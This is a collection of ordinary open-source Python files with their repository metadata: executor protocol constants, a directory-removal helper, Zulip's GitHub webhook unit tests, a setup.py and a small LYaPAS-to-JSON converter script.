"timestamp": "",
"source": "github",
"line_count": 95,
"max_line_length": 156,
"avg_line_length": 33.23157894736842,
"alnum_prop": 0.7348748812163446,
"repo_name": "RedHatInsights/insights-core",
"id": "ebdb49430ffac9dbd925ac8f37db189cfe66c05c",
"size": "3157",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "insights/tests/parsers/test_satellite_mongodb.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Dockerfile",
"bytes": "220"
},
{
"name": "Python",
"bytes": "8219046"
},
{
"name": "Shell",
"bytes": "1754"
}
],
"symlink_target": ""
} |
"""Protocol constants used by the manager and executors."""
class WorkerProtocol:
"""Constants used by the manager workers."""
COMMAND = 'command'
DATA_ID = 'data_id'
COMMUNICATE = 'communicate'
COMMUNICATE_SETTINGS = 'settings_override'
COMMUNICATE_EXTRA = 'kwargs'
FINISH = 'finish_data'
FINISH_SPAWNED = 'spawned'
FINISH_COMMUNICATE_EXTRA = 'communicate_kwargs'
ABORT = 'abort_data'
class ExecutorProtocol:
"""Constants used by the executor<->listener protocol."""
COMMAND = 'command'
DATA_ID = 'data_id'
UPDATE = 'update'
UPDATE_CHANGESET = 'changeset'
FINISH = 'finish'
FINISH_PROCESS_RC = 'process_rc'
FINISH_SPAWN_PROCESSES = 'spawn_processes'
FINISH_EXPORTED_FILES = 'exported_files_mapper'
ABORT = 'abort'
RESULT = 'result'
RESULT_OK = 'OK'
RESULT_ERROR = 'ER'
LOG = 'log'
LOG_MESSAGE = 'message'
class ExecutorFiles:
"""Various files used by the executor."""
FILE_LIST_KEY = 'serialized_files'
EXECUTOR_SETTINGS = 'settings.json'
DJANGO_SETTINGS = 'django_settings.json'
DATA = 'data.json'
DATA_META = 'data_meta.json'
PROCESS = 'process.json'
PROCESS_META = 'process_meta.json'
PROCESS_SCRIPT = 'process_script.sh'
SECRETS_DIR = 'secrets'
| {
"content_hash": "7a91ded541698b9204bd0a0c78c47900",
"timestamp": "",
"source": "github",
"line_count": 59,
"max_line_length": 61,
"avg_line_length": 22.203389830508474,
"alnum_prop": 0.6450381679389313,
"repo_name": "jberci/resolwe",
"id": "648ecc2fc2eb4bb60ce5b95debef3a5e9ad5c36e",
"size": "1310",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "resolwe/flow/managers/protocol.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Dockerfile",
"bytes": "385"
},
{
"name": "Python",
"bytes": "1089792"
},
{
"name": "Shell",
"bytes": "5744"
}
],
"symlink_target": ""
} |
import os
import subprocess
import sys
def rmtree(dir_path):
if not os.path.exists(dir_path):
return
print("Remove directory: {}".format(dir_path))
if os.name == 'nt':
subprocess.check_call(['cmd', '/c', 'rmdir', dir_path, '/S', '/Q'])
else:
subprocess.check_call(['rm', '-rf', dir_path])
# sanity check
if os.path.exists(dir_path):
sys.exit("Directory removing failed ({})".format(dir_path))
| {
"content_hash": "84876247ffe6ba0a545c3f12b5a7dc4d",
"timestamp": "",
"source": "github",
"line_count": 16,
"max_line_length": 71,
"avg_line_length": 26.4375,
"alnum_prop": 0.6335697399527187,
"repo_name": "idscan/polly",
"id": "580e652628053b46f1a6d1ba57c1038332e6a8ba",
"size": "692",
"binary": false,
"copies": "3",
"ref": "refs/heads/develop",
"path": "bin/detail/rmtree.py",
"mode": "33188",
"license": "bsd-2-clause",
"language": [
{
"name": "Batchfile",
"bytes": "26"
},
{
"name": "CMake",
"bytes": "636016"
},
{
"name": "Python",
"bytes": "89186"
},
{
"name": "Shell",
"bytes": "2426"
}
],
"symlink_target": ""
} |
from unittest.mock import patch
import orjson
from zerver.lib.test_classes import WebhookTestCase
from zerver.lib.webhooks.git import COMMITS_LIMIT
TOPIC_REPO = "public-repo"
TOPIC_ISSUE = "public-repo / Issue #2 Spelling error in the README file"
TOPIC_PR = "public-repo / PR #1 Update the README with new information"
TOPIC_DEPLOYMENT = "public-repo / Deployment on production"
TOPIC_ORGANIZATION = "baxterandthehackers organization"
TOPIC_BRANCH = "public-repo / changes"
TOPIC_WIKI = "public-repo / Wiki Pages"
class GitHubWebhookTest(WebhookTestCase):
STREAM_NAME = 'github'
URL_TEMPLATE = "/api/v1/external/github?stream={stream}&api_key={api_key}"
FIXTURE_DIR_NAME = 'github'
def test_ping_event(self) -> None:
expected_message = "GitHub webhook has been successfully configured by TomaszKolek."
self.check_webhook("ping", TOPIC_REPO, expected_message)
def test_star_event(self) -> None:
expected_message = "Codertocat starred the repository [Codertocat/Hello-World](https://github.com/Codertocat/Hello-World)."
expected_topic = "Hello-World"
self.check_webhook("star", expected_topic, expected_message)
def test_ping_organization_event(self) -> None:
expected_message = "GitHub webhook has been successfully configured by eeshangarg."
self.check_webhook("ping__organization", "zulip-test-org", expected_message)
def test_push_delete_branch(self) -> None:
expected_message = "eeshangarg [deleted](https://github.com/eeshangarg/public-repo/compare/2e8cf535fb38...000000000000) the branch feature."
self.check_webhook("push__delete_branch", "public-repo / feature", expected_message)
def test_push_local_branch_without_commits(self) -> None:
expected_message = "eeshangarg [pushed](https://github.com/eeshangarg/public-repo/compare/feature) the branch feature."
self.check_webhook(
"push__local_branch_without_commits", "public-repo / feature", expected_message
)
def test_push_1_commit(self) -> None:
expected_message = "baxterthehacker [pushed](https://github.com/baxterthehacker/public-repo/compare/9049f1265b7d...0d1a26e67d8f) 1 commit to branch changes.\n\n* Update README.md ([0d1a26e](https://github.com/baxterthehacker/public-repo/commit/0d1a26e67d8f5eaf1f6ba5c57fc3c7d91ac0fd1c))"
self.check_webhook("push__1_commit", TOPIC_BRANCH, expected_message)
def test_push_1_commit_without_username(self) -> None:
expected_message = "eeshangarg [pushed](https://github.com/eeshangarg/public-repo/compare/0383613da871...2e8cf535fb38) 1 commit to branch changes. Commits by John Snow (1).\n\n* Update the README ([2e8cf53](https://github.com/eeshangarg/public-repo/commit/2e8cf535fb38a3dab2476cdf856efda904ad4c94))"
self.check_webhook("push__1_commit_without_username", TOPIC_BRANCH, expected_message)
def test_push_1_commit_filtered_by_branches(self) -> None:
self.url = self.build_webhook_url('master,changes')
expected_message = "baxterthehacker [pushed](https://github.com/baxterthehacker/public-repo/compare/9049f1265b7d...0d1a26e67d8f) 1 commit to branch changes.\n\n* Update README.md ([0d1a26e](https://github.com/baxterthehacker/public-repo/commit/0d1a26e67d8f5eaf1f6ba5c57fc3c7d91ac0fd1c))"
self.check_webhook("push__1_commit", TOPIC_BRANCH, expected_message)
def test_push_multiple_comitters(self) -> None:
commits_info = '* Update README.md ([0d1a26e](https://github.com/baxterthehacker/public-repo/commit/0d1a26e67d8f5eaf1f6ba5c57fc3c7d91ac0fd1c))\n'
expected_message = f"""baxterthehacker [pushed](https://github.com/baxterthehacker/public-repo/compare/9049f1265b7d...0d1a26e67d8f) 6 commits to branch changes. Commits by Tomasz (3), Ben (2) and baxterthehacker (1).\n\n{commits_info * 5}* Update README.md ([0d1a26e](https://github.com/baxterthehacker/public-repo/commit/0d1a26e67d8f5eaf1f6ba5c57fc3c7d91ac0fd1c))"""
self.check_webhook("push__multiple_committers", TOPIC_BRANCH, expected_message)
def test_push_multiple_comitters_with_others(self) -> None:
commits_info = '* Update README.md ([0d1a26e](https://github.com/baxterthehacker/public-repo/commit/0d1a26e67d8f5eaf1f6ba5c57fc3c7d91ac0fd1c))\n'
expected_message = f"""baxterthehacker [pushed](https://github.com/baxterthehacker/public-repo/compare/9049f1265b7d...0d1a26e67d8f) 10 commits to branch changes. Commits by Tomasz (4), Ben (3), James (2) and others (1).\n\n{commits_info * 9}* Update README.md ([0d1a26e](https://github.com/baxterthehacker/public-repo/commit/0d1a26e67d8f5eaf1f6ba5c57fc3c7d91ac0fd1c))"""
self.check_webhook("push__multiple_committers_with_others", TOPIC_BRANCH, expected_message)
def test_push_multiple_comitters_filtered_by_branches(self) -> None:
self.url = self.build_webhook_url('master,changes')
commits_info = '* Update README.md ([0d1a26e](https://github.com/baxterthehacker/public-repo/commit/0d1a26e67d8f5eaf1f6ba5c57fc3c7d91ac0fd1c))\n'
expected_message = f"""baxterthehacker [pushed](https://github.com/baxterthehacker/public-repo/compare/9049f1265b7d...0d1a26e67d8f) 6 commits to branch changes. Commits by Tomasz (3), Ben (2) and baxterthehacker (1).\n\n{commits_info * 5}* Update README.md ([0d1a26e](https://github.com/baxterthehacker/public-repo/commit/0d1a26e67d8f5eaf1f6ba5c57fc3c7d91ac0fd1c))"""
self.check_webhook("push__multiple_committers", TOPIC_BRANCH, expected_message)
def test_push_multiple_comitters_with_others_filtered_by_branches(self) -> None:
self.url = self.build_webhook_url('master,changes')
commits_info = '* Update README.md ([0d1a26e](https://github.com/baxterthehacker/public-repo/commit/0d1a26e67d8f5eaf1f6ba5c57fc3c7d91ac0fd1c))\n'
expected_message = f"""baxterthehacker [pushed](https://github.com/baxterthehacker/public-repo/compare/9049f1265b7d...0d1a26e67d8f) 10 commits to branch changes. Commits by Tomasz (4), Ben (3), James (2) and others (1).\n\n{commits_info * 9}* Update README.md ([0d1a26e](https://github.com/baxterthehacker/public-repo/commit/0d1a26e67d8f5eaf1f6ba5c57fc3c7d91ac0fd1c))"""
self.check_webhook("push__multiple_committers_with_others", TOPIC_BRANCH, expected_message)
def test_push_50_commits(self) -> None:
commit_info = "* Update README.md ([0d1a26e](https://github.com/baxterthehacker/public-repo/commit/0d1a26e67d8f5eaf1f6ba5c57fc3c7d91ac0fd1c))\n"
expected_message = f"baxterthehacker [pushed](https://github.com/baxterthehacker/public-repo/compare/9049f1265b7d...0d1a26e67d8f) 50 commits to branch changes.\n\n{commit_info * COMMITS_LIMIT}[and 30 more commit(s)]"
self.check_webhook("push__50_commits", TOPIC_BRANCH, expected_message)
def test_push_50_commits_filtered_by_branches(self) -> None:
self.url = self.build_webhook_url(branches='master,changes')
commit_info = "* Update README.md ([0d1a26e](https://github.com/baxterthehacker/public-repo/commit/0d1a26e67d8f5eaf1f6ba5c57fc3c7d91ac0fd1c))\n"
expected_message = f"baxterthehacker [pushed](https://github.com/baxterthehacker/public-repo/compare/9049f1265b7d...0d1a26e67d8f) 50 commits to branch changes.\n\n{commit_info * COMMITS_LIMIT}[and 30 more commit(s)]"
self.check_webhook("push__50_commits", TOPIC_BRANCH, expected_message)
def test_commit_comment_msg(self) -> None:
expected_message = "baxterthehacker [commented](https://github.com/baxterthehacker/public-repo/commit/9049f1265b7d61be4a8904a9a27120d2064dab3b#commitcomment-11056394) on [9049f12](https://github.com/baxterthehacker/public-repo/commit/9049f1265b7d61be4a8904a9a27120d2064dab3b):\n~~~ quote\nThis is a really good change! :+1:\n~~~"
self.check_webhook("commit_comment", TOPIC_REPO, expected_message)
def test_create_msg(self) -> None:
expected_message = "baxterthehacker created tag 0.0.1."
self.check_webhook("create", TOPIC_REPO, expected_message)
def test_delete_msg(self) -> None:
expected_message = "baxterthehacker deleted tag simple-tag."
self.check_webhook("delete", TOPIC_REPO, expected_message)
def test_deployment_msg(self) -> None:
expected_message = "baxterthehacker created new deployment."
self.check_webhook("deployment", TOPIC_DEPLOYMENT, expected_message)
def test_deployment_status_msg(self) -> None:
expected_message = "Deployment changed status to success."
self.check_webhook("deployment_status", TOPIC_DEPLOYMENT, expected_message)
def test_fork_msg(self) -> None:
expected_message = "baxterandthehackers forked [public-repo](https://github.com/baxterandthehackers/public-repo)."
self.check_webhook("fork", TOPIC_REPO, expected_message)
def test_issue_comment_msg(self) -> None:
expected_message = "baxterthehacker [commented](https://github.com/baxterthehacker/public-repo/issues/2#issuecomment-99262140) on [Issue #2](https://github.com/baxterthehacker/public-repo/issues/2):\n\n~~~ quote\nYou are totally right! I'll get this fixed right away.\n~~~"
self.check_webhook("issue_comment", TOPIC_ISSUE, expected_message)
def test_issue_comment_deleted_msg(self) -> None:
expected_topic = "Scheduler / Issue #5 This is a new issue"
expected_message = "eeshangarg deleted a [comment](https://github.com/eeshangarg/Scheduler/issues/5#issuecomment-425164194) on [Issue #5](https://github.com/eeshangarg/Scheduler/issues/5):\n\n~~~ quote\nThis is a comment on this new issue.\n~~~"
self.check_webhook("issue_comment__deleted", expected_topic, expected_message)
def test_issue_comment_msg_with_custom_topic_in_url(self) -> None:
self.url = self.build_webhook_url(topic='notifications')
expected_topic = "notifications"
expected_message = "baxterthehacker [commented](https://github.com/baxterthehacker/public-repo/issues/2#issuecomment-99262140) on [Issue #2 Spelling error in the README file](https://github.com/baxterthehacker/public-repo/issues/2):\n\n~~~ quote\nYou are totally right! I'll get this fixed right away.\n~~~"
self.check_webhook("issue_comment", expected_topic, expected_message)
def test_issue_msg(self) -> None:
expected_message = "baxterthehacker opened [Issue #2](https://github.com/baxterthehacker/public-repo/issues/2):\n\n~~~ quote\nIt looks like you accidentally spelled 'commit' with two 't's.\n~~~"
self.check_webhook("issues", TOPIC_ISSUE, expected_message)
def test_issue_msg_with_custom_topic_in_url(self) -> None:
self.url = self.build_webhook_url(topic='notifications')
expected_topic = "notifications"
expected_message = "baxterthehacker opened [Issue #2 Spelling error in the README file](https://github.com/baxterthehacker/public-repo/issues/2):\n\n~~~ quote\nIt looks like you accidentally spelled 'commit' with two 't's.\n~~~"
self.check_webhook("issues", expected_topic, expected_message)
def test_membership_msg(self) -> None:
expected_message = "baxterthehacker added [kdaigle](https://github.com/kdaigle) to the Contractors team."
self.check_webhook("membership", TOPIC_ORGANIZATION, expected_message)
def test_membership_removal_msg(self) -> None:
expected_message = "baxterthehacker removed [kdaigle](https://github.com/kdaigle) from the Contractors team."
self.check_webhook("membership__removal", TOPIC_ORGANIZATION, expected_message)
def test_member_msg(self) -> None:
expected_message = "baxterthehacker added [octocat](https://github.com/octocat) to [public-repo](https://github.com/baxterthehacker/public-repo)."
self.check_webhook("member", TOPIC_REPO, expected_message)
def test_pull_request_opened_msg(self) -> None:
expected_message = "baxterthehacker opened [PR #1](https://github.com/baxterthehacker/public-repo/pull/1) from `changes` to `master`:\n\n~~~ quote\nThis is a pretty simple change that we need to pull into master.\n~~~"
self.check_webhook("pull_request__opened", TOPIC_PR, expected_message)
def test_pull_request_opened_with_preassigned_assignee_msg(self) -> None:
expected_topic = "Scheduler / PR #4 Improve README"
expected_message = "eeshangarg opened [PR #4](https://github.com/eeshangarg/Scheduler/pull/4) (assigned to eeshangarg) from `improve-readme-2` to `master`."
self.check_webhook(
"pull_request__opened_with_preassigned_assignee", expected_topic, expected_message
)
def test_pull_request_opened_msg_with_custom_topic_in_url(self) -> None:
self.url = self.build_webhook_url(topic='notifications')
expected_topic = "notifications"
expected_message = "baxterthehacker opened [PR #1 Update the README with new information](https://github.com/baxterthehacker/public-repo/pull/1) from `changes` to `master`:\n\n~~~ quote\nThis is a pretty simple change that we need to pull into master.\n~~~"
self.check_webhook("pull_request__opened", expected_topic, expected_message)
def test_pull_request_synchronized_msg(self) -> None:
expected_message = "baxterthehacker updated [PR #1](https://github.com/baxterthehacker/public-repo/pull/1) from `changes` to `master`."
self.check_webhook("pull_request__synchronized", TOPIC_PR, expected_message)
def test_pull_request_closed_msg(self) -> None:
expected_message = "baxterthehacker closed without merge [PR #1](https://github.com/baxterthehacker/public-repo/pull/1)."
self.check_webhook("pull_request__closed", TOPIC_PR, expected_message)
def test_pull_request_closed_msg_with_custom_topic_in_url(self) -> None:
self.url = self.build_webhook_url(topic='notifications')
expected_topic = "notifications"
expected_message = "baxterthehacker closed without merge [PR #1 Update the README with new information](https://github.com/baxterthehacker/public-repo/pull/1)."
self.check_webhook("pull_request__closed", expected_topic, expected_message)
def test_pull_request_merged_msg(self) -> None:
expected_message = "baxterthehacker merged [PR #1](https://github.com/baxterthehacker/public-repo/pull/1)."
self.check_webhook("pull_request__merged", TOPIC_PR, expected_message)
def test_public_msg(self) -> None:
expected_message = "baxterthehacker made the repository [baxterthehacker/public-repo](https://github.com/baxterthehacker/public-repo) public."
self.check_webhook("public", TOPIC_REPO, expected_message)
def test_wiki_pages_msg(self) -> None:
expected_message = "jasonrudolph:\n* created [Home](https://github.com/baxterthehacker/public-repo/wiki/Home)\n* created [Home](https://github.com/baxterthehacker/public-repo/wiki/Home)"
self.check_webhook("gollum__wiki_pages", TOPIC_WIKI, expected_message)
def test_watch_msg(self) -> None:
expected_message = "baxterthehacker starred the repository [baxterthehacker/public-repo](https://github.com/baxterthehacker/public-repo)."
self.check_webhook("watch__repository", TOPIC_REPO, expected_message)
def test_repository_msg(self) -> None:
expected_message = "baxterthehacker created the repository [baxterandthehackers/public-repo](https://github.com/baxterandthehackers/public-repo)."
self.check_webhook("repository", TOPIC_REPO, expected_message)
def test_team_add_msg(self) -> None:
expected_message = "The repository [baxterandthehackers/public-repo](https://github.com/baxterandthehackers/public-repo) was added to team github."
self.check_webhook("team_add", TOPIC_REPO, expected_message)
def test_release_msg(self) -> None:
expected_message = "baxterthehacker published release [0.0.1](https://github.com/baxterthehacker/public-repo/releases/tag/0.0.1) for tag 0.0.1."
self.check_webhook("release", TOPIC_REPO, expected_message)
def test_page_build_msg(self) -> None:
expected_message = "GitHub Pages build, triggered by baxterthehacker, has finished building."
self.check_webhook("page_build", TOPIC_REPO, expected_message)
def test_status_msg(self) -> None:
expected_message = "[9049f12](https://github.com/baxterthehacker/public-repo/commit/9049f1265b7d61be4a8904a9a27120d2064dab3b) changed its status to success."
self.check_webhook("status", TOPIC_REPO, expected_message)
def test_status_with_target_url_msg(self) -> None:
expected_message = "[9049f12](https://github.com/baxterthehacker/public-repo/commit/9049f1265b7d61be4a8904a9a27120d2064dab3b) changed its status to [success](https://example.com/build/status)."
self.check_webhook("status__with_target_url", TOPIC_REPO, expected_message)
def test_pull_request_review_msg(self) -> None:
expected_message = "baxterthehacker submitted [PR Review](https://github.com/baxterthehacker/public-repo/pull/1#pullrequestreview-2626884)."
self.check_webhook("pull_request_review", TOPIC_PR, expected_message)
def test_pull_request_review_msg_with_custom_topic_in_url(self) -> None:
self.url = self.build_webhook_url(topic='notifications')
expected_topic = "notifications"
expected_message = "baxterthehacker submitted [PR Review for #1 Update the README with new information](https://github.com/baxterthehacker/public-repo/pull/1#pullrequestreview-2626884)."
self.check_webhook("pull_request_review", expected_topic, expected_message)
def test_pull_request_review_comment_msg(self) -> None:
expected_message = "baxterthehacker created [PR Review Comment](https://github.com/baxterthehacker/public-repo/pull/1#discussion_r29724692):\n\n~~~ quote\nMaybe you should use more emojji on this line.\n~~~"
self.check_webhook("pull_request_review_comment", TOPIC_PR, expected_message)
def test_pull_request_review_comment_with_custom_topic_in_url(self) -> None:
self.url = self.build_webhook_url(topic='notifications')
expected_topic = "notifications"
expected_message = "baxterthehacker created [PR Review Comment on #1 Update the README with new information](https://github.com/baxterthehacker/public-repo/pull/1#discussion_r29724692):\n\n~~~ quote\nMaybe you should use more emojji on this line.\n~~~"
self.check_webhook("pull_request_review_comment", expected_topic, expected_message)
def test_push_tag_msg(self) -> None:
expected_message = "baxterthehacker pushed tag abc."
self.check_webhook("push__tag", TOPIC_REPO, expected_message)
def test_pull_request_edited_msg(self) -> None:
expected_message = "baxterthehacker edited [PR #1](https://github.com/baxterthehacker/public-repo/pull/1) from `changes` to `master`."
self.check_webhook("pull_request__edited", TOPIC_PR, expected_message)
def test_pull_request_assigned_msg(self) -> None:
expected_message = "baxterthehacker assigned [PR #1](https://github.com/baxterthehacker/public-repo/pull/1) to baxterthehacker."
self.check_webhook("pull_request__assigned", TOPIC_PR, expected_message)
def test_pull_request_assigned_msg_with_custom_topic_in_url(self) -> None:
self.url = self.build_webhook_url(topic='notifications')
expected_topic = "notifications"
expected_message = "baxterthehacker assigned [PR #1 Update the README with new information](https://github.com/baxterthehacker/public-repo/pull/1) to baxterthehacker."
self.check_webhook("pull_request__assigned", expected_topic, expected_message)
def test_pull_request_unassigned_msg(self) -> None:
expected_message = "eeshangarg unassigned [PR #1](https://github.com/zulip-test-org/helloworld/pull/1)."
self.check_webhook(
"pull_request__unassigned",
"helloworld / PR #1 Mention that Zulip rocks!",
expected_message,
)
def test_pull_request_ready_for_review_msg(self) -> None:
expected_message = "**Hypro999** has marked [PR #2](https://github.com/Hypro999/temp-test-github-webhook/pull/2) as ready for review."
self.check_webhook(
"pull_request__ready_for_review",
"temp-test-github-webhook / PR #2 Test",
expected_message,
)
def test_pull_request_review_requested_msg(self) -> None:
expected_message = "**eeshangarg** requested [showell](https://github.com/showell) for a review on [PR #1](https://github.com/eeshangarg/Scheduler/pull/1)."
self.check_webhook(
"pull_request__review_requested",
"Scheduler / PR #1 This is just a test commit",
expected_message,
)
def test_pull_request_review_requested_singular_key_msg(self) -> None:
expected_message = "**eeshangarg** requested [rishig](https://github.com/rishig) for a review on [PR #6](https://github.com/eeshangarg/Scheduler/pull/6)."
self.check_webhook(
"pull_request__review_requested_singular_key",
"Scheduler / PR #6 Mention how awesome this project is in ...",
expected_message,
)
def test_pull_request_review_requested_multiple_reviwers_msg(self) -> None:
expected_message = "**eeshangarg** requested [showell](https://github.com/showell) and [timabbott](https://github.com/timabbott) for a review on [PR #1](https://github.com/eeshangarg/Scheduler/pull/1)."
self.check_webhook(
"pull_request__review_requested_multiple_reviewers",
"Scheduler / PR #1 This is just a test commit",
expected_message,
)
def test_pull_request__review_requested_team_reviewer_msg(self) -> None:
expected_message = "**singhsourabh** requested [shreyaskargit](https://github.com/shreyaskargit), [bajaj99prashant](https://github.com/bajaj99prashant), [review-team](https://github.com/orgs/test-org965/teams/review-team), [authority](https://github.com/orgs/test-org965/teams/authority) and [management](https://github.com/orgs/test-org965/teams/management) for a review on [PR #4](https://github.com/test-org965/webhook-test/pull/4)."
self.check_webhook(
"pull_request__review_requested_team_reviewer",
"webhook-test / PR #4 testing webhook",
expected_message,
)
def test_pull_request_review_requested_with_custom_topic_in_url(self) -> None:
self.url = self.build_webhook_url(topic='notifications')
expected_topic = "notifications"
expected_message = "**eeshangarg** requested [showell](https://github.com/showell) for a review on [PR #1 This is just a test commit](https://github.com/eeshangarg/Scheduler/pull/1)."
self.check_webhook("pull_request__review_requested", expected_topic, expected_message)
def test_check_run(self) -> None:
expected_topic = "hello-world / checks"
expected_message = """
Check [randscape](http://github.com/github/hello-world/runs/4) completed (success). ([d6fde92](http://github.com/github/hello-world/commit/d6fde92930d4715a2b49857d24b940956b26d2d3))
""".strip()
self.check_webhook("check_run__completed", expected_topic, expected_message)
def test_team_edited_description(self) -> None:
expected_topic = "team Testing"
expected_message = """\
**Hypro999** changed the team description to:
```quote
A temporary team so that I can get some webhook fixtures!
```"""
self.check_webhook("team__edited_description", expected_topic, expected_message)
def test_team_edited_name(self) -> None:
expected_topic = "team Testing Team"
expected_message = """Team `Testing` was renamed to `Testing Team`."""
self.check_webhook("team__edited_name", expected_topic, expected_message)
def test_team_edited_privacy(self) -> None:
expected_topic = "team Testing Team"
expected_message = """Team visibility changed to `secret`"""
self.check_webhook("team__edited_privacy_secret", expected_topic, expected_message)
def verify_post_is_ignored(self, payload: str, http_x_github_event: str) -> None:
with patch("zerver.webhooks.github.view.check_send_webhook_message") as m:
result = self.client_post(
self.url,
payload,
HTTP_X_GITHUB_EVENT=http_x_github_event,
content_type="application/json",
)
self.assertFalse(m.called)
self.assert_json_success(result)
def test_check_run_in_progress_ignore(self) -> None:
payload = self.get_body('check_run__in_progress')
self.verify_post_is_ignored(payload, "check_run")
def test_ignored_pull_request_actions(self) -> None:
ignored_actions = [
"approved",
"converted_to_draft",
"labeled",
"review_request_removed",
"unlabeled",
]
for action in ignored_actions:
data = dict(action=action)
payload = orjson.dumps(data).decode()
self.verify_post_is_ignored(payload, "pull_request")
def test_ignored_team_actions(self) -> None:
ignored_actions = [
"added_to_repository",
"created",
"deleted",
"removed_from_repository",
]
for action in ignored_actions:
data = dict(action=action)
payload = orjson.dumps(data).decode()
self.verify_post_is_ignored(payload, "team")
def test_push_1_commit_filtered_by_branches_ignore(self) -> None:
self.url = self.build_webhook_url(branches='master,development')
payload = self.get_body('push__1_commit')
self.verify_post_is_ignored(payload, "push")
def test_push_50_commits_filtered_by_branches_ignore(self) -> None:
self.url = self.build_webhook_url(branches='master,development')
payload = self.get_body('push__50_commits')
self.verify_post_is_ignored(payload, "push")
def test_push_multiple_comitters_filtered_by_branches_ignore(self) -> None:
self.url = self.build_webhook_url(branches='master,development')
payload = self.get_body('push__multiple_committers')
self.verify_post_is_ignored(payload, "push")
def test_push_multiple_comitters_with_others_filtered_by_branches_ignore(self) -> None:
self.url = self.build_webhook_url(branches='master,development')
payload = self.get_body('push__multiple_committers_with_others')
self.verify_post_is_ignored(payload, "push")
def test_repository_vulnerability_alert_ignore(self) -> None:
self.url = self.build_webhook_url()
payload = self.get_body('repository_vulnerability_alert')
self.verify_post_is_ignored(payload, "repository_vulnerability_alert")
def test_ignored_events(self) -> None:
# The payload for these events never gets looked at in the
# webhook itself; it only needs to be valid JSON.
payload = "{}"
ignored_events = [
"check_suite",
"label",
"meta",
"milestone",
"organization",
"project_card",
"repository_vulnerability_alert",
]
for event in ignored_events:
self.verify_post_is_ignored(payload, event)
def test_team_edited_with_unsupported_keys(self) -> None:
self.subscribe(self.test_user, self.STREAM_NAME)
event = "team"
payload = dict(
action="edited",
changes=dict(
bogus_key1={},
bogus_key2={},
),
team=dict(
name="My Team"
),
)
log_mock = patch("zerver.decorator.webhook_unsupported_events_logger.exception")
with log_mock as m:
stream_message = self.send_webhook_payload(
self.test_user,
self.url,
payload,
HTTP_X_GITHUB_EVENT=event,
content_type="application/json",
)
self.assert_stream_message(
message=stream_message,
stream_name=self.STREAM_NAME,
topic_name="team My Team",
content="Team has changes to `bogus_key1/bogus_key2` data."
)
m.assert_called_once()
msg = m.call_args[0][0]
stack_info = m.call_args[1]["stack_info"]
self.assertIn(
"The 'team/edited (changes: bogus_key1/bogus_key2)' event isn't currently supported by the GitHub webhook",
msg,
)
self.assertTrue(stack_info)
| {
"content_hash": "59eec982fe36168092383ba4d48a64fe",
"timestamp": "",
"source": "github",
"line_count": 468,
"max_line_length": 444,
"avg_line_length": 61.333333333333336,
"alnum_prop": 0.6906354515050167,
"repo_name": "showell/zulip",
"id": "d7d49c07c8bfb08e98e4186e47d99180bece096e",
"size": "28704",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "zerver/webhooks/github/tests.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "CSS",
"bytes": "433235"
},
{
"name": "Dockerfile",
"bytes": "2941"
},
{
"name": "Emacs Lisp",
"bytes": "157"
},
{
"name": "HTML",
"bytes": "634357"
},
{
"name": "Handlebars",
"bytes": "235334"
},
{
"name": "JavaScript",
"bytes": "3341135"
},
{
"name": "Perl",
"bytes": "8594"
},
{
"name": "Puppet",
"bytes": "79720"
},
{
"name": "Python",
"bytes": "8120030"
},
{
"name": "Ruby",
"bytes": "8480"
},
{
"name": "Shell",
"bytes": "133132"
},
{
"name": "TypeScript",
"bytes": "20603"
}
],
"symlink_target": ""
} |
from setuptools import setup, find_packages
setup(
name='django-facebook-comments',
version=__import__('facebook_comments').__version__,
description='Django implementation for Facebook Graph API Comments',
long_description=open('README.md').read(),
author='ramusus',
author_email='ramusus@gmail.com',
url='https://github.com/ramusus/django-facebook-comments',
download_url='http://pypi.python.org/pypi/django-facebook-comments',
license='BSD',
packages=find_packages(),
include_package_data=True,
zip_safe=False, # because we're including media that Django needs
install_requires=[
'django-facebook-api>=0.5.0',
'django-facebook-users>=0.3.0',
'django-m2m-history>=0.1.2',
],
classifiers=[
'Development Status :: 4 - Beta',
'Environment :: Web Environment',
'Intended Audience :: Developers',
'License :: OSI Approved :: BSD License',
'Operating System :: OS Independent',
'Programming Language :: Python',
'Topic :: Software Development :: Libraries :: Python Modules',
],
)
| {
"content_hash": "b020ec754608353633925085e2f4247d",
"timestamp": "",
"source": "github",
"line_count": 30,
"max_line_length": 72,
"avg_line_length": 37.4,
"alnum_prop": 0.6443850267379679,
"repo_name": "ramusus/django-facebook-comments",
"id": "270b977b445a5e51ce794502f7b785dbecc54bd9",
"size": "1122",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "setup.py",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "Python",
"bytes": "33808"
}
],
"symlink_target": ""
} |
import json
import argparse
import codecs
import sys
def main(args):
data = args.in_lyapas.read()
data = json.dumps(data, ensure_ascii=False, encoding='utf-8')
json_data = '{"file": "' + args.in_lyapas.name + '",' + ' "source": ' + data +'}'
args.out_filename.write(json_data)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Getting json from lyapas sourses')
parser.add_argument('in_lyapas', help='Path in filesystem for input lyapas-file', nargs='?', type=argparse.FileType('r'), default=sys.stdin)
parser.add_argument('-out_filename', help='Name of output file', nargs='?', type=argparse.FileType('w'), default=sys.stdout)
args = parser.parse_args()
main(args)
| {
"content_hash": "9af620e7ec2b1410c9fc1d945adf0a96",
"timestamp": "",
"source": "github",
"line_count": 17,
"max_line_length": 144,
"avg_line_length": 42.8235294117647,
"alnum_prop": 0.6662087912087912,
"repo_name": "tsu-iscd/lyapas-lcc",
"id": "700554f78946be3b9b0d5a497dfee3aabd0030a1",
"size": "753",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "lyapas_to_json.py",
"mode": "33261",
"license": "bsd-3-clause",
"language": [
{
"name": "C",
"bytes": "3454"
},
{
"name": "C++",
"bytes": "433251"
},
{
"name": "CMake",
"bytes": "16106"
},
{
"name": "Lex",
"bytes": "14815"
},
{
"name": "Python",
"bytes": "3893"
},
{
"name": "Shell",
"bytes": "4984"
},
{
"name": "Yacc",
"bytes": "53755"
}
],
"symlink_target": ""
} |
from . import bsm
from . import normal
from . import sabr | {
"content_hash": "5f5da6aa340edf5a55f847ba212609c1",
"timestamp": "",
"source": "github",
"line_count": 3,
"max_line_length": 20,
